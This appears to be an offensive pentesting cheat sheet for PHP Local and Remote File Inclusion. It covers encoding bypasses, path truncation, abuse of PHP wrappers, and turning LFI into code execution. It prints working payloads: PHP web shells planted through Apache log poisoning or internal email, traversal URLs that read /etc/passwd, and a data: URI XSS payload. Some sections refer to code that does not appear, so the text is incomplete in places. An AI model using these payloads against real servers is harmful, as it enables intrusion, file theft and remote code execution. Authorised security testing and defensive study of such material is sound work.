Remote File Inclusion (RFI): The file is loaded from a remote server (RWX). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): The sever loads a local file (Read-only)
Always try to encode once,twice, and thrice. Try unicode. Try harder.
Make sure to bypass front-end user input sanitization by using a web proxy such as ZAProxy or burp.
Path truncation
Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")
Always try to start the path with a fake directory (a/).
This vulnerability was corrected in PHP 5.3.
Remote file inclusion
Wrappers
Wrapper php://filter
Base64 and rot13
The part "php://filter" is case insensitive
zlib (compression)
Can be chained with a compression wrapper for large files.
To read the comppression data you need to decode the base64 and read the resulting data using:
NOTE: Wrappers can be chained
Wrapper zip://
Upload a Zip file with a PHPShell inside and access it.
Wrapper data://
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Note that this protocol is restricted by php configurations allow_url_open and allow_url_include
Wrapper expect://
Expect has to be activated. You can execute code using this.
Wrapper input://
Specify your payload in the POST parameters
Wrapper phar://
A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.
And you can compile the phar executing the following line:
A file called test.phar will be generated that you can use to abuse the LFI.
Wrapper Input
LFI->RCE
Log Poisoning
If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and execute code using the "c" GET parameter.
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Note: While Path/Directory Traversal may seem similar to Local File Inclusion (LFI) and Remote File Inclusion (RFI), Path/Directory Traversal vulnerabilities only allow an attacker to read a file, while LFI and RFI may also allow an attacker to execute code.
Via Email
Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd